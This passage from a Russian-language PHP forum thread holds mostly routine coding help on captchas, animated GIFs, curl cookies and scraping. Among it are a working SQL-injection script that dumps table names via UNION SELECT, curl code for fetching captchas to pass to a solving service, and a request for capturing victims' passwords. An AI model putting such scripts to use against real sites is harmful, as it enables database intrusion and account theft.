$im = @imagecreate (80, 20) or die ("Cannot initialize new GD image stream!");
$bg = imagecolorallocate ($im, 232, 238, 247);
$char = $_SESSION['code'];

//создаём шум на фоне
for ($i=0; $i<=128; $i++) {
$color = imagecolorallocate ($im, rand(0,255), rand(0,255), rand(0,255)); //задаём цвет
imagesetpixel($im, rand(2,80), rand(2,20), $color); //рисуем пиксель
}

//выводим символы кода
for ($i = 0; $i < strlen($char); $i++) {
$color = imagecolorallocate ($im, rand(0,255), rand(0,128), rand(0,255)); //задаём цвет
$x = 5 + $i * 20;
$y = rand(1, 6);
imagechar ($im, 5, $x, $y, $char[$i], $color);
}

/*/упрощённый вариант
$color = imagecolorallocate($img, 0, 0, 0);
imagestring($im, 3, 5, 3, $char, $color);*/

//антикеширование
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");

//создание рисунка в зависимости от доступного формата
if (function_exists("imagepng")) {
header("Content-type: image/png");
imagepng($im);
} elseif (function_exists("imagegif")) {
header("Content-type: image/gif");
imagegif($im);
} elseif (function_exists("imagejpeg")) {
header("Content-type: image/jpeg");
imagejpeg($im);
} else {
die("No image support in this PHP server!");
}
imagedestroy ($im);
break;
case 'submit':
//проверка кода
if (empty($_GET['code']) or empty($_SESSION['code'])) {
echo 'Вы не указали код подтверждения';
} elseif ($_GET['code'] != $_SESSION['code']) {
echo 'Код подтверждения не совпадает';
} else {
echo 'Всё Ok!';
}
break;
default:
$_SESSION['code'] = substr(md5(uniqid("")),0,4);
echo '<form action="captcha.php" method="get">'.
'<input type="hidden" name="a" value="submit">'.
'<label for="code">Код подтверждения:</label>'.
'<input type="text" id="code" name="code" size="4" maxlength="4">'.
'<img align="absmiddle" src="captcha.php?a=image">'.
'<input type="submit" value="Go">'.
'</form>';
break;
}
?>
как то так


Тут ни слова про анимацию.

mailbrush
18.08.2009, 19:29
Кстати, анимированая капча = обычной картинке, т.к. всегда можно взять один из кадров и парсить его...

b3
18.08.2009, 19:33
Кстати, анимированая капча = обычной картинке, т.к. всегда можно взять один из кадров и парсить его...
А если:
1й кадр - буква А
2й кадр - буква Q
3й кадр - цифра 3
введите символы на анимированом изображении.
ЗЫ кадры пронумеровны в углу, для порядка, либо порядок ввода неважен

Dr1ver
18.08.2009, 19:39
А если:
1й кадр - буква А
2й кадр - буква Q
3й кадр - цифра 3
введите символы на анимированом изображении.
ЗЫ кадры пронумеровны в углу, для порядка, либо порядок ввода неважен

Вот именно так и хочу сделать

b3
18.08.2009, 21:48
Тем самым сделать некомфортное прибывание на сайте, каптча временами сильно раздражает. Вот с анимацией вариант интересный, но всеравно найдутся библиотеки которые видят кадры и сохранят раскадровку, склеят в одно изображение и потом на антикапчу)

Dr1ver
18.08.2009, 22:26
Тем самым сделать некомфортное прибывание на сайте, каптча временами сильно раздражает. Вот с анимацией вариант интересный, но всеравно найдутся библиотеки которые видят кадры и сохранят раскадровку, склеят в одно изображение и потом на антикапчу)

Безусловно, а пока..


GIFEncoder Version 2.0




<?php
/*
:::::::::::::::::::::::::::::::::::::::::::::::::: :::::::::
::
:: GIFEncoder Version 2.0 by Lбszlу Zsidi, http://gifs.hu
::
:: This class is a rewritten 'GifMerge.class.php' version.
::
:: Modification:
:: - Simplified and easy code,
:: - Ultra fast encoding,
:: - Built-in errors,
:: - Stable working
::
::
:: Updated at 2007. 02. 13. '00.05.AM'
::
::
::
:: Try on-line GIFBuilder Form demo based on GIFEncoder.
::
:: http://gifs.hu/phpclasses/demos/GifBuilder/
::
:::::::::::::::::::::::::::::::::::::::::::::::::: :::::::::
*/

Class GIFEncoder {
var $GIF = "GIF89a"; /* GIF header 6 bytes */
var $VER = "GIFEncoder V2.05"; /* Encoder version */

var $BUF = Array ( );
var $LOP = 0;
var $DIS = 2;
var $COL = -1;
var $IMG = -1;

var $ERR = Array (
"ERR00" => "Does not supported function for only one image!",
"ERR01" => "Source is not a GIF image!",
"ERR02" => "Unintelligible flag ",
"ERR03" => "Does not make animation from animated GIF source",
);

/*
:::::::::::::::::::::::::::::::::::::::::::::::::: :
::
:: GIFEncoder...
::
*/
function GIFEncoder (
$GIF_src, $GIF_dly, $GIF_lop, $GIF_dis,
$GIF_red, $GIF_grn, $GIF_blu, $GIF_mod
) {
if ( ! is_array ( $GIF_src ) && ! is_array ( $GIF_dly ) ) {
printf ( "%s: %s", $this->VER, $this->ERR [ 'ERR00' ] );
exit ( 0 );
}
$this->LOP = ( $GIF_lop > -1 ) ? $GIF_lop : 0;
$this->DIS = ( $GIF_dis > -1 ) ? ( ( $GIF_dis < 3 ) ? $GIF_dis : 3 ) : 2;
$this->COL = ( $GIF_red > -1 && $GIF_grn > -1 && $GIF_blu > -1 ) ?
( $GIF_red | ( $GIF_grn << 8 ) | ( $GIF_blu << 16 ) ) : -1;

for ( $i = 0; $i < count ( $GIF_src ); $i++ ) {
if ( strToLower ( $GIF_mod ) == "url" ) {
$this->BUF [ ] = fread ( fopen ( $GIF_src [ $i ], "rb" ), filesize ( $GIF_src [ $i ] ) );
}
else if ( strToLower ( $GIF_mod ) == "bin" ) {
$this->BUF [ ] = $GIF_src [ $i ];
}
else {
printf ( "%s: %s ( %s )!", $this->VER, $this->ERR [ 'ERR02' ], $GIF_mod );
exit ( 0 );
}
if ( substr ( $this->BUF [ $i ], 0, 6 ) != "GIF87a" && substr ( $this->BUF [ $i ], 0, 6 ) != "GIF89a" ) {
printf ( "%s: %d %s", $this->VER, $i, $this->ERR [ 'ERR01' ] );
exit ( 0 );
}
for ( $j = ( 13 + 3 * ( 2 << ( ord ( $this->BUF [ $i ] { 10 } ) & 0x07 ) ) ), $k = TRUE; $k; $j++ ) {
switch ( $this->BUF [ $i ] { $j } ) {
case "!":
if ( ( substr ( $this->BUF [ $i ], ( $j + 3 ), 8 ) ) == "NETSCAPE" ) {
printf ( "%s: %s ( %s source )!", $this->VER, $this->ERR [ 'ERR03' ], ( $i + 1 ) );
exit ( 0 );
}
break;
case ";":
$k = FALSE;
break;
}
}
}
GIFEncoder::GIFAddHeader ( );
for ( $i = 0; $i < count ( $this->BUF ); $i++ ) {
GIFEncoder::GIFAddFrames ( $i, $GIF_dly [ $i ] );
}
GIFEncoder::GIFAddFooter ( );
}
/*
:::::::::::::::::::::::::::::::::::::::::::::::::: :
::
:: GIFAddHeader...
::
*/
function GIFAddHeader ( ) {
$cmap = 0;

if ( ord ( $this->BUF [ 0 ] { 10 } ) & 0x80 ) {
$cmap = 3 * ( 2 << ( ord ( $this->BUF [ 0 ] { 10 } ) & 0x07 ) );

$this->GIF .= substr ( $this->BUF [ 0 ], 6, 7 );
$this->GIF .= substr ( $this->BUF [ 0 ], 13, $cmap );
$this->GIF .= "!\377\13NETSCAPE2.0\3\1" . GIFEncoder::GIFWord ( $this->LOP ) . "\0";
}
}
/*
:::::::::::::::::::::::::::::::::::::::::::::::::: :
::
:: GIFAddFrames...
::
*/
function GIFAddFrames ( $i, $d ) {

$Locals_str = 13 + 3 * ( 2 << ( ord ( $this->BUF [ $i ] { 10 } ) & 0x07 ) );

$Locals_end = strlen ( $this->BUF [ $i ] ) - $Locals_str - 1;
$Locals_tmp = substr ( $this->BUF [ $i ], $Locals_str, $Locals_end );

$Global_len = 2 << ( ord ( $this->BUF [ 0 ] { 10 } ) & 0x07 );
$Locals_len = 2 << ( ord ( $this->BUF [ $i ] { 10 } ) & 0x07 );

$Global_rgb = substr ( $this->BUF [ 0 ], 13,
3 * ( 2 << ( ord ( $this->BUF [ 0 ] { 10 } ) & 0x07 ) ) );
$Locals_rgb = substr ( $this->BUF [ $i ], 13,
3 * ( 2 << ( ord ( $this->BUF [ $i ] { 10 } ) & 0x07 ) ) );

$Locals_ext = "!\xF9\x04" . chr ( ( $this->DIS << 2 ) + 0 ) .
chr ( ( $d >> 0 ) & 0xFF ) . chr ( ( $d >> 8 ) & 0xFF ) . "\x0\x0";

if ( $this->COL > -1 && ord ( $this->BUF [ $i ] { 10 } ) & 0x80 ) {
for ( $j = 0; $j < ( 2 << ( ord ( $this->BUF [ $i ] { 10 } ) & 0x07 ) ); $j++ ) {
if (
ord ( $Locals_rgb { 3 * $j + 0 } ) == ( ( $this->COL >> 16 ) & 0xFF ) &&
ord ( $Locals_rgb { 3 * $j + 1 } ) == ( ( $this->COL >> 8 ) & 0xFF ) &&
ord ( $Locals_rgb { 3 * $j + 2 } ) == ( ( $this->COL >> 0 ) & 0xFF )
) {
$Locals_ext = "!\xF9\x04" . chr ( ( $this->DIS << 2 ) + 1 ) .
chr ( ( $d >> 0 ) & 0xFF ) . chr ( ( $d >> 8 ) & 0xFF ) . chr ( $j ) . "\x0";
break;
}
}
}
switch ( $Locals_tmp { 0 } ) {
case "!":
$Locals_img = substr ( $Locals_tmp, 8, 10 );
$Locals_tmp = substr ( $Locals_tmp, 18, strlen ( $Locals_tmp ) - 18 );
break;
case ",":
$Locals_img = substr ( $Locals_tmp, 0, 10 );
$Locals_tmp = substr ( $Locals_tmp, 10, strlen ( $Locals_tmp ) - 10 );
break;
}
if ( ord ( $this->BUF [ $i ] { 10 } ) & 0x80 && $this->IMG > -1 ) {
if ( $Global_len == $Locals_len ) {
if ( GIFEncoder::GIFBlockCompare ( $Global_rgb, $Locals_rgb, $Global_len ) ) {
$this->GIF .= ( $Locals_ext . $Locals_img . $Locals_tmp );
}
else {
$byte = ord ( $Locals_img { 9 } );
$byte |= 0x80;
$byte &= 0xF8;
$byte |= ( ord ( $this->BUF [ 0 ] { 10 } ) & 0x07 );
$Locals_img { 9 } = chr ( $byte );
$this->GIF .= ( $Locals_ext . $Locals_img . $Locals_rgb . $Locals_tmp );
}
}
else {
$byte = ord ( $Locals_img { 9 } );
$byte |= 0x80;
$byte &= 0xF8;
$byte |= ( ord ( $this->BUF [ $i ] { 10 } ) & 0x07 );
$Locals_img { 9 } = chr ( $byte );
$this->GIF .= ( $Locals_ext . $Locals_img . $Locals_rgb . $Locals_tmp );
}
}
else {
$this->GIF .= ( $Locals_ext . $Locals_img . $Locals_tmp );
}
$this->IMG = 1;
}
/*
:::::::::::::::::::::::::::::::::::::::::::::::::: :
::
:: GIFAddFooter...
::
*/
function GIFAddFooter ( ) {
$this->GIF .= ";";
}
/*
:::::::::::::::::::::::::::::::::::::::::::::::::: :
::
:: GIFBlockCompare...
::
*/
function GIFBlockCompare ( $GlobalBlock, $LocalBlock, $Len ) {

for ( $i = 0; $i < $Len; $i++ ) {
if (
$GlobalBlock { 3 * $i + 0 } != $LocalBlock { 3 * $i + 0 } ||
$GlobalBlock { 3 * $i + 1 } != $LocalBlock { 3 * $i + 1 } ||
$GlobalBlock { 3 * $i + 2 } != $LocalBlock { 3 * $i + 2 }
) {
return ( 0 );
}
}

return ( 1 );
}
/*
:::::::::::::::::::::::::::::::::::::::::::::::::: :
::
:: GIFWord...
::
*/
function GIFWord ( $int ) {

return ( chr ( $int & 0xFF ) . chr ( ( $int >> 8 ) & 0xFF ) );
}
/*
:::::::::::::::::::::::::::::::::::::::::::::::::: :
::
:: GetAnimation...
::
*/
function GetAnimation ( ) {
return ( $this->GIF );
}
}
?>







А скрипт для моей анимированной капчи выглядит так

<?php

include ("GIFEncoder.class.php");

$width=40;
$height=20;

$x[a]=4;
$y[a]=-20;

$x[b]=16;
$y[b]=20;

$x[c]=28;
$y[c]=-40;

$razm[a]=rand(4,5);
$razm[b]=rand(4,5);
$razm[c]=rand(4,5);

$a=mt_rand(1,9);
$b=mt_rand(1,9);
$c=mt_rand(1,9);




for ( $i = 0; $i < 60; $i++ ){

$image = imageCreateTrueColor ( $width, $height );
$color = imagecolorallocate ($image, 0 , rand(200,255) , 0 ); //задаём цвет
//----------------------------------------------------

imagestring($image, $razm[a], $x[a] , $y[a], $a , $color );
$y[a]=$y[a]+1;
//----------------------------------------------------
imagestring($image, $razm[b], $x[b] , $y[b], $b , $color );
$y[b]=$y[b]-1;
//----------------------------------------------------
imagestring($image, $razm[c], $x[c] , $y[c], $c , $color );
$y[c]=$y[c]+1;
//----------------------------------------------------

Ob_Start ( );
imageGif ( $image );
imageDestroy ( $image );

$f_arr [ ] = Ob_Get_Contents ( );
$d_arr [ ] = 8;

Ob_End_Clean ( );
}


$GIF = new GIFEncoder ( $f_arr, $d_arr, 0, 2, -1, -1, -1, "bin" );

header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: post-check=0, pre-check=0', FALSE);
header('Pragma: no-cache');
header("Content-Type: image/gif");
echo $GIF->GetAnimation ( );

?>


Работает! =)http://thebit.ru/img/test.gif

Tombik
19.08.2009, 00:48
сейчас бред спрошу, но всё-таки:
На пхп возможна привязка к железу?

L I G A
19.08.2009, 01:22
На пхп возможна привязка к железу?
нет

NuR
19.08.2009, 01:32
почему это нельзя, еще как можно! например
что то вроди

<?
exec('cat /proc/cpuinfo',$info);
$system_key=md5(serialize($info));
echo $system_key;
?>

шпуняешь все это в зенд и радуешься привязке к железу)

Tombik
19.08.2009, 01:33
а на винде?
именно!

Myload
19.08.2009, 02:42
ищу скрипт php сколько раз скачали
программу через линк

пример
Скачать
Скачали раз(а): 6575

надо срочна скрипт с меня +++;)

Dr1ver
19.08.2009, 03:30
ищу скрипт php сколько раз скачали
программу через линк

пример
Скачать
Скачали раз(а): 6575

надо срочна скрипт с меня +++;)


Для этого нужно знать структуру твоего линка, знать какие данные он передаёт, хранятся ли у тебя скажем в mysql данные о файлах.

Я бы скажем передал на php скрипт ID файла, который бум скачивать,

потом какая нибудь функция типа readfile();

Ну а потом просто SQL запрос UPDATE значения счетчика.


Это принцип, если надо, могу написать скрипт

Myload
19.08.2009, 04:12
Для этого нужно знать структуру твоего линка, знать какие данные он передаёт, хранятся ли у тебя скажем в mysql данные о файлах.

Я бы скажем передал на php скрипт ID файла, который бум скачивать,

потом какая нибудь функция типа readfile();

Ну а потом просто SQL запрос UPDATE значения счетчика.


Это принцип, если надо, могу написать скрипт

на пиши если тебе не трудно спасибо! :rolleyes:

geforse
19.08.2009, 18:49
Как сохранить капчу, которая постоянно меняется ?

Пример:
site.ru/img.php?g=123 (будет одно значение, если обновить, то будет другое значение капчи)

Тоесть я захожу на страницу с капчей и как мне сохранить только рисунок капчи ?

KaZ@NoVa
19.08.2009, 18:53
Как сохранить капчу, которая постоянно меняется ?

Пример:
site.ru/img.php?g=123 (будет одно значение, если обновить, то будет другое значение капчи)

Тоесть я захожу на страницу с капчей и как мне сохранить только рисунок капчи ?

Из кэша браузера, разве что, либо попробовать врубить автономный режим и сохранить изображение каптчи.

geforse
19.08.2009, 19:06
мне нужно через курл)

пример (http://vkontakte.ru/captcha.php?sid=343662337991)

FireFenix
19.08.2009, 19:06
Как сохранить капчу, которая постоянно меняется ?

Пример:
site.ru/img.php?g=123 (будет одно значение, если обновить, то будет другое значение капчи)

Тоесть я захожу на страницу с капчей и как мне сохранить только рисунок капчи ?
я тебе ж уже давал скрипт - пример работы с капчей!

function post ($url='',$content=null,$referer=null,$follow=0 )
{
GLOBAL $cookie;

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, $follow);
if (!empty($cookie)) curl_setopt($ch, CURLOPT_COOKIE, implode('; ',array_values($cookie)));
if (!empty($content)) {curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $content);} else {curl_setopt($ch, CURLOPT_POST, 0);}
if (!empty($referer)) curl_setopt($ch, CURLOPT_REFERER, $referer);

$ss=curl_exec($ch);
curl_close($ch);

if (preg_match_all('#^Set-Cookie: (([^;=]+)=([^;=]+))#mi',$ss,$cook))
{
if ($tmpcookie=array_combine($cook[2],$cook[1]))
$cookie=(array)$tmpcookie + (array)$cookie;
}
return preg_replace('~[\s\S]+\r\n\r\n~U','',$ss,1);
}


unset($_SESSION['mir']);
// Получаем начальные куки
$in = post('http://site.ru/login');
preg_match('#<img src="http://site.ru/captcha/login?(.*?)"#i', $in, $match_capt);
// Делаем локальную копию куки
file_put_contents('local.jpg',post('http://site.ru/captcha/login?'.$match_capt[1],null,'http://site.ru/login'));

(c) Чей-то

geforse
19.08.2009, 19:08
FireFenix,спс

просто всегда статичная капча появлялась )

lucky_guy
20.08.2009, 05:44
<?php
echo"----------------------------------\n";
echo"|SQL-injection Grabber and Parser|\n";
echo"| Povered by lucky_guy! |\n";
echo"----------------------------------\n";
$fop=fopen("temp.txt","a");
for($i=1;$i<100;$i++){
$url=fopen("http://bla-bla.com/index.php?id=1'+union+all+select+1,concat(char(94) ,table_name,char(94))+from+information_schema.tabl es+limit+$i,1/*","r");
while(!feof($url)){
$buf=fgets($url, 128);{
fwrite($fop,$buf);
}}}
fclose($url);
fclose($fop);
$fop1=fopen("result.txt","w");
$fop=fopen("temp.txt","r");
if($fop){
$size=filesize("temp.txt");
$fr=fread($fop,$size);}
preg_match_all("/\^(.*)\^/isU",$fr,$fou,PREG_PATTERN_ORDER);
for($i=0;$i<count($fou[1]);$i++){
echo $fou[1][$i]."\n";
fwrite($fop1,$fou[1][$i]."\r\n");}
fclose($fop);
fclose($fop1);
system("del temp.txt");
echo"----------------------------------\n";
echo"| DONE! |\n";
echo"----------------------------------\n";
?>

Kornero
20.08.2009, 18:31
Подскажите пожалуйста, как бы мне на php реализовать такую задачку: у меня есть логин и пароль от mail.ru, мне надо сделать из них куки, которые я потом передаю другому скрипту и он мне что-нить делает=)

я пробовал так:

<?php
$ua = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2';
$ref = 'http://win.mail.ru/cgi-bin/auth';

$post = 'Login=ЛОГИН&Domain=mail.ru&Password=ПАРОЛЬ&level=0';

$ch = curl_init($ref);

$cfile = 'F:\xampp\htdocs\MailRuCookies\cookies.txt';

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);

curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);

curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
$res = curl_exec($ch);
curl_close($ch);
$res = iconv('UTF-8','windows-1251',$res);
echo $res;

?>


Но в файле cookies.txt у меня появились только значения t,Mpop,mrcu... Я скорее всего делаю вообще не то что надо делать,но чёто в книжках умных по этому поводу ничего не нашёл.

geforse
20.08.2009, 18:44
function post($url,$post,$refer)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
return $result;
}


Почему у меня не работаю куки на последнем Denwer'e, а на хостинге всё прекрасно работает ? :(

куки.txt тоже пробовал ставить не помогает :(

Crepers
20.08.2009, 18:51
curl_setopt($ch, CURLOPT_COOKIEJAR, $_SERVER['DOCUMENT_ROOT'].'/cookie.txt');

geforse
20.08.2009, 18:58
не помогло) .txt файл не создался и сайт мне сказал чтобы я включил куки :)

Crepers
20.08.2009, 19:09
На локалке как раз у меня лично работает в таком виде... тхт файл должен создаться не в папке со скриптом а в localhost\www\ (посмотри его там)
Сообщение сайт выдал..?! Может где-то не поменял в скрипте..? Везде должны стоять
$_SERVER['DOCUMENT_ROOT'].'/cookie.txt'
вместо
"./cook"

geforse
20.08.2009, 19:13
На локалке как раз у меня лично работает в таком виде... тхт файл должен создаться не в папке со скриптом а в localhost\www\ (посмотри его там)


там он и оказался))

спасибо, наверно и впрямь что-то со скриптом, буду капать :)

mailbrush
20.08.2009, 19:13
...
curl_setopt($ch, CURLOPT_HEADER, 1);
$res=curl_exec($ch);
preg_match_all('#Set-Cookie: (.*); expires#i', $res, $matches);
print_r($matches);
...

Kornero
20.08.2009, 19:26
Приписал код от mailbrush мне вывелись значения только t и Mpop. Но если я захожу на мыло и в юрле прописываю javascript:alert(document.cookie); то там ещё и значения mrcu; p; c240; c56; c8; Mpopl. Подскажите как мне их получить с помощью POST запроса или может можно как-то иначе...

d_x
20.08.2009, 20:51
Попробуй заменить регулярку на такую:
preg_match_all("/Set-Cookie: (.+)(;|\r)/iUs",$res, $matches);
А вообще, вполне вероятно, что все эти значения cookies устанавливаются именно JavaScript'ом, а не сервером отсылаются, поэтому ты их так просто не получишь.

Кубик Рубик
20.08.2009, 22:52
Безопасно ли сохранять значения логин+пароль в сессиях, а ид сессии в файлах кук?

Pashkela
20.08.2009, 23:35
Нет, небезопасно

b3
21.08.2009, 04:02
логин+пароль в сессиях
Безопасно т.к. сессии хранятся на сервере.

Pashkela
21.08.2009, 04:28
ну да, а еще есть LFI и load_file(), умные люди важную инфу не хранят в сессии

rushter
21.08.2009, 04:53
ну да, а еще есть LFI и load_file(), умные люди важную инфу не хранят в сессии
А где же её тогда хранят,если не секрет ? :) Кроме как в куках больше и негде .

PaCo
21.08.2009, 05:13
ну да, а еще есть LFI и load_file(), умные люди важную инфу не хранят в сессии
Ну а если без особых условий? Например кодинг не через жопу без LFI и скюль + есть относительно нормальные хостинг где админы не только пива в себя постоянно заливают но и работают хотя бы для приличия и не делают tmp и web диры одну на всю вселенную.
Кубик Рубик не слушай пашкелу он хекер, он может и не такое . В подавляющем большинстве все именно так и поступают можно еще сделать привязку ид сесии к ипу+браузеру, да и в файлах сессии будут лежат не логин и пароль от систем запуска баллистических ракет.

Pashkela
21.08.2009, 12:12
А где же её тогда хранят,если не секрет ? Кроме как в куках больше и негде .


В квесте for only user у нас в разделе квесты он в сессии хранил только имя пользователя и его id, в куках только сессия и прочие таймауты, так что пароля не там не там не было. Зачем пароль вообще в сессии держать? Непонятно.


В подавляющем большинстве все именно так и поступают


В подавляющем большинстве сломать можно что угодно

b3
21.08.2009, 12:24
Pashkela
ну да, а еще есть LFI и load_file(), умные люди важную инфу не хранят в сессии
Хватит жечь с "определенными условиями".

Зачем пароль вообще в сессии держать? Непонятно.
Ну впринцыпе согласен, незачем

TANZWUT
21.08.2009, 12:48
Кто работал с этим классом http://sourceforge.net/projects/snoopy/ ? если есть такие, пишите в ПМ или аську.

geforse
21.08.2009, 12:52
Подскажите что это за магия такая, есть скрипт у меня, который получает капчу с яндекса (В скрипте урлов кроме яндекса вобще нет)

Отправил антикапче 10 пробных капч и там чудесным образом появились две, мне не известные

http://i035.radikal.ru/0908/12/7856a7eb6675t.jpg (http://radikal.ru/F/i035.radikal.ru/0908/12/7856a7eb6675.jpg.html)

Первая на вконтакте похожа))

Это вобще у меня в чём-то проблемы или у антикапчи ?

mailbrush
21.08.2009, 12:58
geforse, скрипт в студию...
Если проблема не в нем - значит в АК.

geforse
21.08.2009, 13:07
Выложу скрипт через пару часов, думаю проблема в АС была, т.к. при повторных тестах ничего подобного не происходило )

Кубик Рубик
21.08.2009, 13:10
еще сделать привязку ид сесии к ипу+браузеру, да и в файлах сессии будут лежат не логин и пароль от систем запуска баллистических ракет.
Спасибо всем)

XIII
21.08.2009, 13:16
Есть ли скрипт? заходит на указанный сайт производит авторизацию и копирует нужную информацию?

5triker
21.08.2009, 13:39
Есть ли скрипт? заходит на указанный сайт производит авторизацию и копирует нужную информацию?
есть

XIII
21.08.2009, 14:29
И где найти его?

5triker
21.08.2009, 14:47
У экстрасенсов.

TANZWUT
21.08.2009, 15:00
XIII, мой пост на предыдущей странице, там класс брузера, я поидее сам разобрался, осталось только прикрутить выполнение JS на сервере с помощью рнр http://j4p5.sf.net/ . вот небольшой пример того что тебе надо как я понял:


<?php
function get_random_user_agent()
{
$uas = array(
'Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.0.3705)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; bgft)',
'Mozilla/4.5b1 [en] (X11; I; Linux 2.0.35 i586)',
'Mozilla/5.0 (compatible; Konqueror/2.2.2; Linux 2.4.14-xfs; X11; i686)',
'Mozilla/5.0 (Macintosh; U; PPC; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1',
'Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1',
'Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040413 Epiphany/1.2.1',
'Opera/9.0 (Windows NT 5.1; U; en)',
'Opera/8.51 (Windows NT 5.1; U; en)',
'Opera/7.21 (Windows NT 5.1; U)',
'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6',
'Opera/9.02 (Windows NT 5.1; U; en)',
'Opera/8.54 (Windows NT 5.1; U; en)'
);
return $uas[rand(0, count($uas)-1)];
}

include "Snoopy.class.php";
$snoopy = new Snoopy;

$snoopy->agent = get_random_user_agent();
$snoopy->referer = "http://asd.com/";

$submit_url = "http://asd.com/index.php";

$submit_vars["login"] = "TANZWUT";
$submit_vars["password"] = "my_pass";
$submit_vars["send"] = "send";
$snoopy->fetch("http://asd.com/index.php");

while(list($key,$val) = each($snoopy->headers))
echo $key.": ".$val."<br>\n";
echo "<hr /><p>\n";
echo $snoopy->agent;

echo "<PRE>".htmlspecialchars($snoopy->results)."</PRE>\n";


$snoopy->setcookies ();

$snoopy->submit($submit_url,$submit_vars);

while(list($key,$val) = each($snoopy->headers))
echo $key.": ".$val."<br>\n";
echo "<hr /><p>\n";
echo $snoopy->agent;

echo "<PRE>".htmlspecialchars($snoopy->results)."</PRE>\n";


$snoopy->fetch("http://asd.com/private.php?id=1");

while(list($key,$val) = each($snoopy->headers))
echo $key.": ".$val."<br>\n";
echo "<p>\n";
echo $snoopy->agent;

echo "<PRE>".htmlspecialchars($snoopy->results)."</PRE>\n";

?>

Besserer
21.08.2009, 15:50
Не тал читать 1000 страниц оО
Что нужно для того чтобы тебе на мыло приходили логин и пароль жертв? Подробно плз

Besserer
21.08.2009, 16:38
Как чекать? Мне говорит что нужно прокси

KrafT
21.08.2009, 18:30
Помагите зделать чтоб скрипт нахадил ид http://web.ru/people/204410909
<?php
$acc = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : false;
$pass = isset($_SERVER['argv'][2]) ? $_SERVER['argv'][2] : false;

$bor_dir = dirname(__FILE__);
$inc_dir = dirname(__FILE__).'/inc/';

echo " o.O \n";


require $inc_dir.'/query.php';

$q = new HTTPQuery;
$q->UserAgent = 'Opera/9.60 (Windows NT 6.0; U; YB/3.5.1; ru) Presto/2.1.1';
$q->Referer = 'http://web.ru/';
$q->Cookies = NULL;
$q->Get('http://web.ru/');
$q->Query = Array (
'login_field' => $acc,
'password_field' => $pass,
);
$q->Post('http://web.ru/login');
$q->Cookies = $q->GetCookies();

$regexp2 = '/uid="([0-9]+)"/ism';
echo "Loading friendlist...\r";
$q->Get("http://web.ru/people");
file_put_contents($inc_dir.'/friends.html', $q->Result);
$content2 = file_get_contents($inc_dir.'/friends.html', $q->Result);
preg_match_all($regexp2, $content2, $matches, PREG_SET_ORDER);
foreach ($matches as $matchess) {
if (!in_array($matchess[1], $friends_ids))
$friends_ids[] = $matchess[1];

}
}
$friends_count_real = count($friends_ids);
echo "Friendlist loaded. $friends_count_real IDs\n";



echo " =-]]]]] \n";
?>

KaZ@NoVa
21.08.2009, 20:20
KrafT .. Хм, а где вторая открывающаяся фигурная скобка? И подробнее, пожалуйста.
ты ж не дал код класса HTTPQuery :) :D

KaZ@NoVa
21.08.2009, 20:38
KrafT.

Ставьт Zend Studio 5

Zend Development Environment
и
Wireshark анализатор сетевых протоколов.

Первое будет отладчиком под РНР, второе мониторинг сетевого протокола, в частности HTTP.

Правда не знаю, чем щас пользуешься

lucky_guy
22.08.2009, 22:14
други, а как сделать так, чтобы информация выводимая не экран в консоли появлялась на одной и той же строке?
ну типа:
echo "[|]"
echo "[/]"
echo "[-]"
echo "[\]"
только чтобы на одной строке.

Kaimi
22.08.2009, 22:22
Добавлять \r

lucky_guy
22.08.2009, 22:45
благодарю.

zifanchuck
24.08.2009, 04:15
